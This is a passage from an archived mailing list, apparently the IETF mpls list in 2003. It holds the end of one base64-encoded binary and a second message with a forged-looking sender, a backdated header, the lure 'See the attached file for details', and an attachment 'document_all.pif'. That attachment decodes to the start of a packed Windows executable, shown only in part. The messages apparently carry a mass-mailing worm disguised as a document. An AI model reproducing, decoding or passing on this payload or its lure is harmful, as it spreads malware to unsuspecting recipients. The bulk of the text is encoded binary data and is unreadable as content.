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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA3gQAAFhDMDAxODE1ZA==
--_NextPart_000_0017033E--



From owner-mpls@UU.NET  Sat Oct  4 10:08:08 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05800
	for <mpls-archive@lists.ietf.org>; Sat, 4 Oct 2003 10:08:07 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiyq24555
	for <mpls-archive@lists.ietf.org>; Sat, 4 Oct 2003 14:08:14 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpiyq24462;
	Sat, 4 Oct 2003 14:08:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpiyp18537
	for mpls-outgoing; Sat, 4 Oct 2003 13:50:46 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpiyp18511
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 4 Oct 2003 13:50:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpiyp11084
	for <mpls@uu.net>; Sat, 4 Oct 2003 13:48:36 GMT
From: kireeti@juniper.net
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmk14878
	for <mpls@uu.net>; Wed, 24 Sep 2003 05:31:24 GMT
Message-Id: <QQphmk14878.200309240531@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Approved
Date: Fri, 1 Jan 1999 1:10:32 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_00402010"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_00402010
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_00402010
Content-Type: application/octet-stream;
	name="document_all.pif"
Content-Disposition: attachment;
	filename="document_all.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
